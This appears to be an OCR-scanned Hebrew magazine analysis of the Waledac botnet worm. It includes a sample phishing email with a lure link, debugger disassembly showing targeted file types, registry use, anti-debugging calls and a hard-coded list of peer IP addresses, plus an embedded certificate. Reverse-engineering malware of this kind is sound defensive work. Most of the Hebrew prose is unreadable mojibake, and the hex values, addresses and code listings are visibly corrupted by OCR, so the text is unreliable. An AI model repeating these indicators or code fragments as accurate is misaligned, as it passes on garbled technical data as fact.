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! Criminals "may overwhelm the web", BBC, 25 January 2007,
http://news.bbc.co.uk/1/hi/business/6298641.stm
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? Wikipedia, Kraken Botnet, http://en.wikipedia.org/wiki/Kraken botnet

* Srizbi Botnet, Wikipedia, http://en.wikipedia.org/wiki/Srizbi_botnet

* Storm Botnet, Wikipedia, http://en.wikipedia.org/wiki/Storm_botnet

> Wikipedia, Computer Worm, http://en.wikipedia.org/wiki/Computer_worm

6 Infiltrating WALEDAC Botnet's Covert Operations, TrendMicro, pg. 3
http://us.trendmicro.com/imperia/md/content/us/pdf/threats/securitylibrary/infiltrating the waledac b
otnet v2.pdf

’ Waledac Trojan Hosted by Fake Obama Website, Threat Research & Response Blog, Microsoft Malware
Protection Center, http://blogs.technet.com/mmpc/archive/2009/01/19/waledac-trojan-hosted-by-fake-
obama-website.aspx

® W32.WaleDac Analysis, Bughira's Blog, http://bughira.wordpress.com/2009/01/28/w32waledac-analysis/
® Waledac Localizes Social Engineering, TrendLabs Malware Blog, http://blog.trendmicro.com/waledac-
localizes-social-engineering/

10 W32/Waledac, Threat Research & Response Blog, Microsoft Malware Protection Center,
http://www.microsoft.com/security/portal/Entry.aspx?Name=Win32%2fWaledac

" W32.Waledac Threat Analysis, Symantec Security Response, pg. 5
http://www.symantec.com/content/en/us/enterprise/media/security response/whitepapers/W32 Wale
dac.pdf

2 Storm Worm Reincarnates as Waledac, SecurityProNews,
http://www.securitypronews.com/insiderreports/insider/spn-49-
20081231StormWormReincarnatesAsWaledac.html
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B Win32/Conficker teams up with Win32/Waledac, CA Security Advisor Research Blog,
http://community.ca.com/blogs/securityadvisor/archive/2009/04/15/win32-conficker-teams-up-with-
win32-waledac.aspx

1 Lavasoft, Waledac questions answered,
http://www.lavasoft.com/mylavasoft/company/blog/waledac-questions-answered

 park Reading,
http://www.darkreading.com/security/management/showAtrticle.jhtml?articlelD=211201114

16 Infiltrating WALEDAC Botnet's Covert Operations, TrendMicro, pg. 33

7 Waledac botnet being prepared to send Independence Day-related spam, SC Magazine,
http://www.scmagazineuk.com/waledac-botnet-being-prepared-to-send-independence-day-related-
spam/article/139504/

18 Getting Information With The Help of Honeynets, The Honeynet Project,
http://www.honeynet.org/node/59
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From: Sarah <dan@sg.statschippac.com>
Date: Tue, Mar 31, 2009 at 5:25 PM
Subject: Damned terrorists!!!

To: meitark@gmail.com

Are you in the city now? http://peulp.blogsitedirect.com/news.php

INAN NXT7 VAN WRY n0dN Dy

Powerful explosion burst in Tel Aviv-yafo this morning.

Powerful explosion burst in Tel Aviv-yafo this morning.

At least 12 people have been killed and more than 40 wounded in a

At least 12 people have been killed and more than 40 wounded in a bomb blast near market in Tel Aviv-yafo. Authoritis suggested that
3 o 5 | explosion was cansed by "dirty" bomb. Police said the bomb was
bomb blast near market in Tel Aviv-yafo. Authorities suggested that detonated from close by using electric cables. "It was awfil” said the
explosion was caused by "dirty" bomb. Police said the bomb was SN Ao st e e o A T ke e
; ) ek e % W floor shake. So many people were running”
detonated from close by using electric cables. "It was awful" said the Until now there has been no claim of responsibilty.

evewitness about blast that he heard from his shop. "It made the
floor shake. So many people were running”
Until now there has been no claim of responsibility.

i % REUTERS

You need the latest Flash plaver to view video content. Click here to T
download. | You need the latest Flash player to view video content. Click here to
Gowaload.

Related Links:
hitp://en. wikipedia.org/wikiDirty_bomb

htp://www.google h?q=Tel Aviv-vafo+terror+attack
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19 . . . . . .
Waledac: Reuters Video News Social Engineering , Countermeasures: Security, Privacy & Trust,
Trendmicro Blogs, http://countermeasures.trendmicro.eu/waledac-reuters-video-news-social-engineerin

Waledacny?7imn nimn
www.DigitalWhisper.co.il

4 2013 AaxMao ,39 i



http://countermeasures.trendmicro.eu/waledac-reuters-video-news-social-engineering

Technologic

MINI' NXIN YAl KINY news.exe YAl NTINY W X' Youtube 'NT 1000 N'RIY MmN 7y

.Qwnna 1 7 Ty .anir nikn 12*7'a nT) WALEDAC ny7inn 7w

NPORI9N NIM'VAT7 W2 WNXRT7 7210 KIN DN NKRYT X AT ,722m Wpn Y IopIing |1x7 W

2TV DWAI KIN D DN aITn 7w WHOIS 'o19 nizTa . nisnn naonY

SHANGGUANMING GONGYUWUYEYOUXTIANGONGST
jongchangde@126.com
QIANJIN, 2005451

.2 mMpaw 197 21 XY AT - 18.03.09 1NN2

nmipn nianinal aZaTaN ‘In't

YN NI'YO 19017 A% My, NY7Imn NNl TN NKY
N'YPA POTTA PIN NP0

.Registry-a nio'd wnn7 nam) e

XIND MIYPN N e

NN NIM7'YO MY 072 news.exe Y270 Nianinn 1101

N 9 %y naw ny7imn D oA Filemon-n 70 7w log-n '¥ap - n'wpn porTa Do

nn'ion ]'II'J'UP'?O NIY! 1D D1 .0DIN D DX DRI OX2 NNNIO L,'NOTO |D9IKA N'YpPn 20'Tn

,exe '¥ap v MA'T NY7Imn D 10 17¥KN DA 2 nimw o5 .ninvY nimrron o4 ,0'¥270 N1'N1a

V7NN 7w NIYA 1IRYND ,NITNAYT TIAaa .pf ,tmp ,ini ,txt ,Ink *¥2 77D nxmnn X7 8 ,0'9011 bmp

NN'N NWRANY D 7Y YRaxn aRNDY NN L0Napn 7757 X710 0'vap 1oon? p 7ax L dil xaph

NN'NY 2 X' DR NN20N NAIVY ND0I NITY D770 Npnonn 77nd X721 DN wiIn'y IX?

.N7X 0'¥277 NIWIAL DNTIN WA

2% Canadian Pharmacy, EU Spam Trackers,
http://www.spamtrackers.eu/wiki/index.php?title=Canadian_Pharmacy

! Email-Worm:W32/Waledac.A, F-Secure Security Lab, http://www.f-secure.com/v-descs/email-
worm w32 waledac a.shtml
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2 Threat Encyclopedia, Microsoft Malware Protection Center,
http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Trojan%3aWin32%2f
Waledac.gen%21A

2 Waledac Reuters Theme — Security Labs Alert,
http://securitylabs.websense.com/content/Alerts/3321.aspx

** W32.Waledac, Symantec, http://www.symantec.com/security response/writeup.jsp?docid=2008-
122308-1429-99&tabid=2

> \W32/Waledac, McAfee, http://vil.nai.com/vil/content/v_207110.htm
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92 Quick statistical test of module 'Copy_of ' reports that its code section is either
\{/ compressed, encrypted, or contains large amount of embedded data. Results of code
analysis can be very unreliable or simply wrong. Do you want to continue analysis?
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V7ImY

26 \W32.Waledac Threat Analysis, Symantec Security Response, pg. 2
http://www.symantec.com/content/en/us/enterprise/media/security response/whitepapers/W32 Wale
dac.pdf
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AT N'DDWOI-'10M T 7Y NN7AMIY ,WIN9N Yalpn N9'WNT7 Niz1d0N ,NAT 7w 19101

.pause y¥a D'0OIN N'X' 72V NI 010VON MIYWAW) ,OllyDbg IMa yalpn Nk yan .1
.(Alt-M) N>t non nx nwn .2
.(F2) Code 7y Breakpoint yap .3
2YaIzn n¥n NX wnn 4
.(Ctrl-A) wTnn n1'7ax y¥a ,Breakpoint-7 yrar twund .5
QIUNN TR NT7IX Y¥A7 [N TRILINXYA ATIRN DX "97" yaipnw 127 nnnoir no'w
—T -
fd.cp . oad odule Copy o© -
COEA 96 IHR OL,& ~ |Registers
8600 28 ADD AL, 28 &
12FC ADC EH, AH
RCL EBX,CL
SBES 189 AND BL, 18
S1E1 AE77AFS@ |AND ECX,SOAFPPAE = 15F]
2@!-’1 E3 XOR CL,BE3 — EE% g?g@q
& 11 38868
2 0 ap E EIP
E Address |Size Owner  |Section |Contains [Type|Access |Initial|Mapped as A~ IF @ E
2§ 99310068 BEEREEEE Map |R “DevicesHarddiskUol — a
cff 99320 Map (R E wvls
gEB BRRaZ200a g??v EI;JE S
Copy_of_ PE header Imag|R = E‘
40100 BF4a08) Copy_of_| .text code ImaglR 0
F a0 Copy_of_|.idata |data, import{Imag|R =
He: F ?g Copy_of_| .rsrc rESOUrces Iggg E
e i A
Ef. C7! 861 GDIs2 PE header |Imag R
2af 77ce B3B! GDI32 Stext code, import] Imag| R %
Aafl Z7cAc 231 GDI32 .data data Imag|R 3
11l CRDBBE | BBaB16088 G012 SLSrC resources | ImagalR
o S0 Bt £/ 25 b2 Da o EgfumE e 77691216
83 2B D9 77 72 88 o+ wrérw

T2IYN NIRMP INX IR NIN'RNN NITANA INX QY9N ,0MI0N 00D MNK7 NN 7V 1T NN YIN'WaY NN20Y-ITN 17007 17 ']

[.Dn'7R nimon AnX mpyl nroan
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D'RX¥XNN

ninnsnl NITIVN

NINN9N .NNIA'Y ATIVA D1, D TTIn AES NINNSA v Tiza 0'kyna » 2’nnaon naipn nnsoa
2322IM 21TV NWeY hard-coded nnon nw 12 N> .Registry’®-1 n'>wn n1o¥n? n'wnwn AES-n
D OXL(1INT2 NMINK WONYT YT X7) DX DT 2V 2T ayn T Y n%pn1 N0 nTivna

:"CERTIFICATE " NnTINNNN NK "7X100770 WIS'N 'T' 7V NNIX RIXN? VIYD

. #B4drB2dre2dre2dRe2dRoz2d. |« .« X84dX02dX02d7%02d%62d. . . . |BD.3JC.R+
SPeC.i+Cu¥-C, |80, L-C.8-C.%041%08. 8115708, 8 n5%0B8 @, ———ez _Next
| Part _703d_r04X_%0a2.21X.%88. 81X, 6128456?89RBCDEF 20.=.. LocalH
5 ost. .. |80. |rC.p"C. |60D.280. >en IBD wOD A IGD.

5 i #3d0. UK. .OpenS

Pl
o

"6
) ~1RSMA JBg NU. BRVTdeCMRIwEQVDU
2 QQIEwlCZXdrc2thmUxEDQUBQNUBRCTB@Sld2d1cnkquRU BaNUBRoTDk 1SIENY
bXBhbnkgTHRKMB4XDTASMTAYMT IWMTEBOFoX0DTASMTEYMDIw. MTEBOF owTDELMAK
GA1UEBhMCRAIXEJAGBgNVBAQTCUJ lecmtzaG ly2 TEGMA4GA1UE. BRMHTMU3YnUyeT
EXMBUGA1UEChMOTXk 929t cGFueSBMdGAwaZ SwDRYJKoZ IThveN. AREBBRADgYBAM
1GJA0GBAJ98+uC? isUhKBS8oAzMB-/wnE/ypICLUZ201nr8gV 1SJCE. 2XYBIE1DAz iR
SYadAJtNBAVEKWBsu3Dh 861 Jy 72 JEP+1894wdYy 2BBp itLr9g92Na. nWwF Gt /AGJE
5| agemMay f 6ADULK iIE3pGGE9JrR IKCI9TR31AJS jYSM3qsL408 L TITLJ. AQMBARG. 93
5| 4wgaswHRYDURBOBBYEFC2d9 is0dT in6UnsfYBiz2n 16GM140MHWGA1Ud. IWR1MHORF
5| C2d2isQdTinéUnsfYBiz2n 1GM14Q0UCK TIEMMAsWCAYDURAGEWJHRIES . MBAGA1UE
CBMJ@mUy a3NoaxJ IMRAWDgYDUARHEWdOZ ¥d i dXJSMRcwFAYDURRKEWSN. eSEDb21
WwYWSSIE=®BZ I IJALVFKWML” 1RSMAWGA1UJEWRFMAMBAF SwDAYJKoZ IhvcN. AREFBR
| ADQYERWYphFm b iSHP7hmPEGt8j8Jf s cuwllBP 11t 2XCop08G iwSOUnRFCCa. m+PIY
5| Znu TSAMHOFQCjoCD21h+iEGu+b0pcHC ly 7Erd7swHoSWcGhFapyy iTAt 14
1LrfwsoEadUi8wé8Ht IrgStmdeJ1 IBk¥h9edzBruvk=. -—-——£fEND CE
TIFICATEI====u s e s 8D a s Mi*ssaassesNsassaVicses sMOVasass WMV s e e ]

0D D (5 0D (5 0 (50 ()

) (5 050 05D 45

N'DINN WIN'YAY N0 ATIVRN NIX NIKYY N1 ,N20INN 7w nxn |No>'T l]'?U]ﬂ ,NT VOp2a

22 7w Mvxn? orvimn AES ninnon nx Y’

197 ,Amxd .(71Ind2 nnion qlonl n7nnnn)
.(RList-n Xj7* |'7n'7) HKCU\Software\Microsoft\Windows\CurrentVersion\RList

12'011 ,011Y D'UNNID 190N [NI'TNA NTIVNN NX 1IRX' - O"'Yj7 190N 1177N1 NTIVNN NIYO]
unable to load NXAWN NYTINA N77N2 N7'NN2 .NDIN DR RNPY7 T openssl 7w 701 wnnwny
NVTINN DX 072 , 00XV 7un nNIYY begin/end certificate Npi'7n NI certificate: no start line
NT DA 72X ,NVIYOD NIDIN NIYVXNAKA INIXK 1'ANYT1 LN VN9 XXM DA 11'01 .bad base64 decode
Hum

OllyDbg-1 [N2'TA N1*NA X7 DW TIva ,NITI71 NIY'omM 078K ATIVNA D 'K -1 ATy kv
NI MY DT NITIRIN DX 19700 )0 Wline feed Mmi? - 0A XIn NITIIN 7W DWW ANRIN

NTIRON MY NATYA ATIVNIN NR th'? nN7x¥n

openssl x509 -text -noout -in filename

7 Infiltrating WALEDAC Botnet's Covert Operations, TrendMicro, pg. 7
28 . . .

Decoding Waledac's Registry,
http://www.nnl-labs.com/cblog/index.php?/archives/9-Decoding-Waledacs-Registry.html
* W32.Waledac Threat Analysis, Symantec Security Response, pg. 12
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VTN NN 1727 )

Certificate:
Data:
Version: 3 (0x2)
Serial Number:
bb:c5:91:63:0b:££:54:79
Signature Algorithm: shalWithRSAEncryption
Issuer: C=GB, ST=Berkshire, L=Newbury, 0O=My Company Ltd
Validity
Not Before: Oct 21 20:11:48 2007 GMT
Not After : Nov 20 20:11:48 2007 GMT
Subject: C=GB, ST=Berkshire, L=Newbury, O=My Company Ltd
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)

Modulus (1024 bit):
00:9f:74:fa:£0:bb:8a:¢c5:21:28:1£:28:03:33:01:
f£f:09:84:£f£:2a:48:08:b5:36:a3:59:eb:£2:05:65:
48:90:bc:65:76:01:20:4d:4e:03:38:80:49:86:9d:
00:9p:4d:d0:0b:fa:29:6d:2c:bb:70:e1:£0:62:09:
cb:bc:c9:04:ff:a2:d3:de:30:e1:8c:b6:07:4a:63:
b4:ba:£d:83:63:60:9d:6c:05:1a:df:f4:1a:31:1a:
81l:e9:8c:6b:27:fa:00:35:2d:2a:21:37:a4:61:bd:
26:04:62:28:2f:7d:4d:7d:£5:00:90:23:61:23:37:
aa:c2:£8:43:¢9:53:21:32:c9

Exponent: 65537 (0x10001)

X509v3 extensions:

X509v3 Subject Key Identifier:

2F:5D:F6:2B:10:75:38:E7:E9:49:EC:7D:8D:23:CE:7D:46:33:5E:10
X509v3 Authority Key Identifier:

keyid:2F:5D:F6:2B:10:75:38:E7:E9:49:EC:7D:8D:23:CE:7D:46:33:5E:10
DirName:/C=GB/ST=Berkshire/L=Newbury/0O=My Company Ltd
serial:BB:C5:91:63:0B:FF:54:79

X509v3 Basic Constraints:

CA:TRUE
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Signature Algorithm: shalWithRSAEncryption
59:8a:61:16:6£:db:8b:91:cf:ee:19:8£:10:6b:7c:8£:42:5f:
c5:cb:d6:£0:£d:56:b7:65:c2:a2:93:bc:1a:2c:12:39:49:d1:
14:20:9a:90:e3:¢c8:61:99:ee:4d:24:0c:1c:e7:d0:0a:3a:02:
0f:62:21:fa:31:06:bb:eb:ce:ab:cl:c2:97:2f:c4:ad:de:ec:
c0:7a:39:59:cl:al:16:aa:72:ca:24:d0:b7:52:63:6d:b0:dd:
29:1a:5b:ce:e6:35:a6:9d:4b:c5:fc:2c:a0:46:9d:52:2£:30:
67:cl:ed:22:08:39:06:67:7a:27:52:01:91:78:7d:7b:8c:f4:
ae:f9

NNINN XD - NIFVINIX N7 NHYT? [1'01 7 'K, T2 'N119 wiIn'y wnwn nRI1D NTIVAN - 17 D'w)
T 7Y wim'wal AR¥IN X1 (2007 'N7w) OTY K7 XP 9pimn (self-signed) na wnnwnn T Y
.NT NT2 NIN'92 NNYN NY7INNY 2 2V TN RIN OXRNIEL,)IRNY Yama ninnY ¢ .My Company Ltd

.01 1024 7w 'an19 RSA NNONA WIN'Y |XD NIXYY? [N D7 VD

DN W'y DN NIWYY? 1IN7¥N X7 72K ,Y707 nn%xn AES NINN9n wnw? NNMRY NITNNAN DX
nX 1NNT ("NIANINN7 DNVNI9"N P9 NN P 7Y) NINKR NV'WA RList-n DIN NIX Y7NY7 DN7¥NY

.NTN 11D O'XNXNN

N7X NIdIN .Waledac 7w DTt ndIm NN D7D m "nMivpn"n psa "nimin"n 19 nna
YNNUN71 TIj72 '001770 NNONN NIXK INKX7 1IN7XN .|OXIN [9IXKA jpeg YAl 7w 19107 NIDIXN NIv'an
-0 MIYPN NIANd 02 NRMND [0 PY L,"NImim'"n 719 nN2 10119 1NN NN n0'wn .12

.Waledac
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NIANINNYT7 DMVNO

NIANINN NITIN NN 207 17 NWOXY NITNNA 19010 1IX¥N ,NDINN ¢ A¥n N7 Np'Taa
JINUIon NMIo '7ya 0'¥aEn NYZINN NN7unn ,A'wpn 707TA N0 Nwa L2 amxd .w9imn

NMDINN (N2 KIXNY [N P77 NIy

808442086 | PUSH Copy_of_.884D2B2C ASCII ".avi”
804426CE| PUSH Copy_of_.B884D2B34 ASCII ".mov"”
B@4426E@| PUSH Copy_of_.884D2B3C ASCII ".wmyu"
884420FS| PUSH Copy_of_.084D2B44 ASCIT ".mp3™
B8044210R| PUSH Copy_of_.884D2B4C ASCII ".wave”
9844211F| PUSH Copy_of_.088402B54 ASCII ".wav”
88442134 PUSH Copy_of_.B88402B5C ASCII ".wma"”
88442149 PUSH Copy_of_.08402B64 ASCII ".ogg"”
B844215E| PUSH Copy_of_.884D2BEC ASCII ".vob™
80442173 PUSH Copy_of_.B884021D4 ASCII ".png”
B8B442183| PUSH Copy_of_.884D2B74 ASCII ".Jipg"
88442190 PUSH Copy_of_.884D2E7C ASCII ".Jpeg”
884421B2| PUSH Copy_of_.B88402B84 ASCII ".gif"”
884421C7| PUSH Copy_of_.B88402BSC ASCII ".bmp"
8844210C| PUSH Copy_of_.B88402E94 ASCII ".exe”
8@4421F1| PUSH Copy_of_.88402B9C ASCII ".dLL"
88442206| PUSH Copy_of_.884D2BA4 ASCII ".ocu"
80442218 PUSH Copy_of_.B884D2BAC ASCII ".class”
80442238| PUSH Copy_of_.884D2BE4 ASCII ".msi”
88442245| PUSH Copy_of_.884D2BEBC ASCII ".zip”
8844225A| PUSH Copy_of_.B88402BC4 ASCII ".72"
8844226F | PUSH Copy_of_.8840D2BCS ASCII ".rar”
88442284 PUSH Copy_of_.B88402ED8 ASCII ".jar"
868442299 PUSH Copy_of_.884D2BD2 ASCII ".g2"
B@4422AE| PUSH Copy_of_.884D2BDC ASCII ".hxw”
B04422BF | PUSH Copy_of_.884D2BE4 ASCII ".hxh"
88442208| PUSH Copy_of_.884D2BEC ASCII ".hxn"
884422E1| PUSH Copy_of_.B88402BF4 ASCII ".hxd”

NIXN7 N1 (TP 1'RY) IRIVOPL YT 17D'W 10 K7W D'YApN NNynn N'DINNY 17 0'e)

IN'YPN POTTN NZNI0 170N 717 ARIYA AR ,TIZN 1IN NINro? N'M1T0 NIoN' NN

. 68 442B4DBB | PUSH Copy_of_.08402B44 ASCII ".mp3"
. S6 PUSH ESI
. E8 1ADE@488 |CALL Copy_of_.B8@43F71A
. 35C8 TEST _ERX,ERX
. 59 POP ECX
. 59 FPOP_ECK
~BF34 28020008 JE Copy_of_.008442332
GA| . 68 4C2B4DBB | PUSH Copy_of_.088402B4C ASCII ".wave"
aF| . S6 PUSH ESI
18] . ES @5De@488 | CALL Copy_of_.B848F71A
15 . 85Ca TEST _ERX,ERAX
17| . 59 POP ECX
18] . 59 POP_ECX
19 .vBF84 13026008| JE Copy_of_.088442332
1F| . 68 542B4088 |PUSH Copy_of_.B884D2BS4 ASCII ".wav”
. 56 PUSH ESI
. E8 FBDS@408 |CALL Copy_of_.B8@43F71A
. 25C8 TEST _ERX,ERAX
. 59 POP ECX
. 59 POP _ECX
.vBF34 FEB10808 JE Copy_of_.B808442332
. 68 SC2B4D08 |PUSH Copy_of_.88402B5C ASCII ".wma"
. S6 PUSH ESI
. ES DBDS@488 |CALL Copy_of_.0@43F71A
. 35C8 TEST _ERX,ERX
. POP ECK
. 59 POP ECX
vBF34 E9B10808 JE Copy_of_.B808442332
. 68 64284088 |PUSH Copy_of_.084D2B64 ASCII ".ogg"
. 56 PUSH ESI
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XI¥n? qwoNn "RList" NTNNNA 'wom INX wion .RList-n nnon pim ven 1 NNL-Labs 1nxna

:NT NN9N7 2INd7 N 7y RegQueryValueExA Nd>wnin N7 wIn'y

a . 5@ PUSH ERX

a R ) PUSH EBX

a . 2D45 E4 LEﬂ EAX, DWORD PTR SS:[EBP-1C1]

a . 58 PUSH ERX

a «:53 PUSH EBX

a . BF EC214DB8 |MOV EDI,Copy_of_.884021EC

sk AT PUSH EDI

a . FF?75 EC PUSH DWORD PTR $S:[EBP-141] hi»u
a . 895D E8 MOU DWORD PTR SS5:[EBP-181,EBX

a . C745 E4 ©B36681 MOV DWORD PTR SS:[EBP-1C1,3

@ . FFD& CALL ESI ReglueryValusEsA

apynl ,nT TP Yupa breakpoint Nyrap T 2y |N>'TA D'NAIoN RList-n 'Y DX KIXAY N1 DD

JANXN D .OW'AXNN DX

B804366228| PUSH Copy_of_.B8040163C ASCII "24.119.24.196"

884308C6| PUSH Copy_of_.8840184C ASCII "96755a2a34252c79eB3f5d33cbl3bedc™
884380FF | PUSH Copy_of_.808401870 ASCII "217.23.16.222"

98430130| PUSH Copy_of_.88401830 ASCII "48Sblf7arved4491cf26d8f341b79bada™
98430176| PUSH Copy_of_.084018R4 ASCII "vr2.129.22.92"

9843081B4| PUSH Copy_of_.0884016E4 ASCII "45?b80?69d5db91f9b3?¢148295F44?8"
934301ED| PUSH Copy_of_. 88401803 ASCII "31.198.159.123"

98430228 | PUSH Copy_of_.08@4018E3 ASCII ”Fchea2668598e68213336?980126?39”
80430264 | PUSH Copy_of_.86840116C ASCII "7@.241. 121"

884382A2| PUSH Copy_of_.884D111C ASCII "?d8568?2a14670858?3102666?103924”
98430200| PUSH Copy_of_.88401144@ ASCII "81.1@85.248.214"

98430319| PUSH Copy_of_.0840115@ ASCII "fbB2435ef 111b53cded?fI331437ecdb”
98430352| PUSH Copy_of_.088401174 ASCII "77.124.149.238"

984308398| PUSH Copy_of_.0@401184 ASCII "e87ada36494bSaBl1?7eBe16c51012932"
934303C3| PUSH Copy_of_.08@4011A3 ASCII "61.46.242.69"

80438407 | PUSH Copy_of_.8084011B8 ASCII "6d344b9bdd161229652b8e54db??aa?1”
808430448 PUSH Copy_of_.884D110C ASCII "24.938.127. 148"

884384 7E| PUSH Copy_of_.884D11EC ASCII "6??3393?5F3?8961536dee$dbb4fe?68”
984304B7| PUSH Copy_of_.8@401214@ ASCII "12.237.34.248"

9843a84FS| PUSH Copy_of_.8@40122a ASCII "cd42b48369321bfEBee?aact48301F 777"
9843052E| PUSH Copy_of_.088401244 ASCII "88.169.2687.221"

9843856C| PUSH Copy_of_. 88401254 ASCII "1969e1leb32d1c?3b396293482?8f??8"
934385AS| PUSH Copy_of_. 88401273 ASCII "72.198.38.46"

B8@436SE3| PUSH Copy_of_.B808401288 ASCII "cc?52989445811618F6F29?1?033F96b”
8843861C| PUSH Copy_of_.884D12AC ASCII "98.197.1686.184"

86843065A| PUSH Copy_of_.884D12BC ASCII "ad3aadleléBadceBec32abld4eS166894c™
984308693| PUSH Copy_of_.0884012E@ ASCII "98.227.164.8"

98430601 | PUSH Copy_of_.0884012F@ ASCII "elBada32164cObBEceSbI342453daBda"
9843a70R| PUSH Copy_of_.088401314 ASCII "72.132.156.122"

984308743| PUSH Copy_of_.08@401324 ASCII "1268222d685f7f1aa1583bedde2aSnBE"
83438721 | PUSH Copy_of_.80401348 ASCII "82.238.116.137"

8@4387BF | PUSH Copy_of_.B808401358 ASCII ”d5146??eF8898345?3131916??3d501b”
884387F2| PUSH Copy_of_.884D137C ASCII "88.172.44.197"

88438520| PUSH Copy_of_.884D138C ASCII "891?2925b5?eaa435d?d02818d446969"
98430366| PUSH Copy_of_.0884013E4 ASCII "66.177.209.68"

984383A4| PUSH Copy_of_.8@4013Ca ASCII "cerf@757e90f BebefB274a686dScEb30™
9843a300| PUSH Copy_of_.0884013E4 ASCII "38.165.254. 153"

9843891B| PUSH Copy_of_.0884013F4 ASCII "9dBb95452569b6233577565a8522F615"
83438954 | PUSH Copy_of_.0808401418 ASCII "24.1.139.157"

80438992| PUSH Copy_of_.B808401428 ASCII "c85e3765b3271655d54b95124dB66d38"
884389CE| PUSH Copy_of_.80840144C ASCII "81.184.221.69"

98430R43| PUSH Copy_of_.8840145C ASCII "1e3fea3atdr82e4c3010f619bC7ef 27"
98430R42| PUSH Copy_of_.088401428 ASCII "99.153.5.12"

98430R28| PUSH Copy_of_.8@40148C ASCII "3d1e6478a82161549d6fe2B6953cad4s"”
98430AB3| PUSH Copy_of_.08@4014E0 ASCII "76.28.215.32"

98430AF7| PUSH Copy_of_.8@4014CH ASCII "S416bc7f2bd4cleeS1f175664bBBSd12d™
B83436E838| PUSH Copy_of_.B804D14E4 ASCII "76.188.2.193"

98430B6E| PUSH Copy_of_.0@4014F4 ASCII "6854836ad37be330af 43d7@9chb3eladq™
88436BA7| PUSH Copy_of_.884D1518 ASCII "68.44.208.169"

98430BES| PUSH Copy_of_.88401528 ASCII "be4aSeSaS22eSeScr@vccetS6a342032"

D NN 3°n'71|,7nn NN20N D DX ,NAIMD 70 ANX NAFIVA NTNNAN NIYAWNY? Yaina 0'niva 11K
191 "DINKN NINT' 7190 NN2 DNINT 72V TV .0NAITAN DYNNN 7Y anm TR I

Smiwpn”

3% \W32.Waledac Threat Analysis, Symantec Security Response, pg. 4
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-2 TUX-INR-TVUX DX INR wonn Ny7mn 7w notoyn nam D Fnim Symantec 7w n"Im

27 NITY 1AXXN .DINO 1217 N1DINN DX N71IYW , TAXK "NKRN DOXI ,Debugger

. FF1S 84414B06| CALL DWORD PTR DS:[4B41841] ClsDebuggerPresent
6A 88 PUSH 8 pTopLevelFilter = NULL
. BBF@ MOV ESI,ERX [
. FF15 88414B08| CALL DWORD PTR DS:[4B41881 SetUnhandledExcept ionFilter
. 28045 D@ LEA EAX,DWORD PTR SS:[EBP-381]
. 58 PUSH ERX pExcept ionInfo
. FF1S 8C414E08| CALL DWORD PTR DS:[4B418C1 UnhandledExcept ionFilter

-0 71T ARNpP DNTEL,DYTM 72 NIRNP LI - intermodular calls-a 'y 17002 1T ARME IONNR
NIJINN DXN DT RID MR LIT NDYN NRNP TN .windows 7 Nd>yn DX NI kernel32

.debugger® 7ma n¥xn

X86 NMIIVZVDINA .NDINN 7Y TYN-INR-TYY NXIN NY¥INN OXN NPT 7"30 Ndwnn NNy
7277 (debugger-n ,NT NOpN2) NIIN'D NDINYT WORNN Trap Flag-n 2717 DXN NQTN Nivnawn

.MIPN NXIIN 72 NKXR? NNTha nLVMY

NN DY LIT D720 NIy "VINaN NU'W" 719 NNA 1101'9Y ND'VYN NN'MD NP'DVY N7 W'
.ND'VYN NNID N¥M 17NN TYX-INR-TYX NXIN 70 Nyxan

TP IRXNY QAV'NON naN NN Ty

[884358F6] PUSH Copy_of_. 88402238 [ASCIT "http:-//easyworldnews.com” index.php”]

N"ITN DI0ND ,NIF ININA .N7'NNA NIYNWN 07 ON'7 YT K7W NN NTANN XN DR IR
nN'wA 'wn? nn %y nwa? nv7mn a2t r namsy - Panivnwn Nk 00 Symantec Yw
,U1NVI'RT7 1ANNN7 N73' X7 NY7INNY Q1 AT N7 - IT NN202 NN 1111'01 .RList-7 nWTN D'y
("nwpEn" 7192 7110901 N9 |DIX 7V 110N) [NY7R NNI9YW NIAIMDdN 72 .ANIANINN DX 11N

T INKY NY72INN NN19 ,N'7RD NNIFO' 190N INKY7 .70 nIm'jp I'n K7 IX ,N"197 110

391 620.121568 192.168.1.31 192.168.1.1 DNS Standard query A easyworldnews.com
392 621.133149 192.168.1.31 192.168.1.1 DNS Standard query A easyworldnews.com
393 622.133292 192.168.1.31 192.168.1.1 DNS Standard query A easyworldnews.com
394 624.133347 192.168.1.31 192.168.1.1 DNS Standard query A easyworldnews.com
396 628.133358 192.168.1.31 192.168.1.1 DNS Standard query A easyworldnews.com

|'R "D |"X7 D2 |"2yn .07 27w 7O A K7 10D domain-n P - NY7INY ATy X7 12T LN nnpna
7¢ WHOIS-n '019 TNK D'UONN TWKRD .)NKR [AT? 7NN 197 MIYpn 7w 0172 R0 NiMo

.'02 bW D 12T 1NN domain-7 NnITa ,0'RXIN AT domain

1 W32.Waledac Threat Analysis, Symantec Security Response, pg. 2
2 Windows Media Developer Center, MSDN,
http://msdn.microsoft.com/en-us/library/ms680345(VS.85).aspx

> W32.Waledac Threat Analysis, Symantec Security Response, pg. 5
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MY

nhvan 029 nlan

NNP7 MIX ,[70% 'R IRIMNA 'MW NN DN nan Waledac-n nwa **nimooa nirtan 199

T NTIAY2 NANNNA VLIXAN Symantec 7w N"ITAN

master C&C servers

teTv

relay-nodes

slave-nodes

NIt "Awnn [0 DN7 NNNN NIDYA MY ,NYIN 7Y DU1DINN N0Y7UN MY XN NIFYN N1dWN
YI9'N ,NITIN 727 INIT) DIITTN D7'YON DX NYXANY 1T X' "D'TaY"n N1OYW .Ny7ima paTing
NYY NN .0'NIFT NI D721 NITPRoN DX N7 NNavnw X0 "nnonn”n n1owi L, (7R NIamod
MZal NV™7YUN MY 78 NI'R DRDI0N MIYPEN 2N DY ,'TOIN 177N peer-to-peer 17702 KN N7
.0'9011 D'INX D"'TOIN D'MY 'TIPON NNd NNT JWUNNA .N78d DIY' NNT 701 73N 01NN
09 2NN DN7 Y'Y DANITN - NPATIN DY NIYYIY NIR'TA 7Y NO0ANN UTN "nIt? T'RoNn N'Na

.3OD"I'1_U I'N' D'INXN ,0M0NN N7 NN2'Y 278 0N 7inn NYI7 DN 71m

N2 NIpATRNE Waledac-n nwn MNX 2pynY (12211 7'yon sudosecure INXN

http://www.sudosecure.net/waledac
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NIXANY? X7 07 0w nn L PHTTP 2un nimw 2171009 0'0a %y NYYann 0anifm 2 NN

.N2N 190 NNA AT 21109 7Y MNP V191 .NYIN NIAYN 217 NTIVN
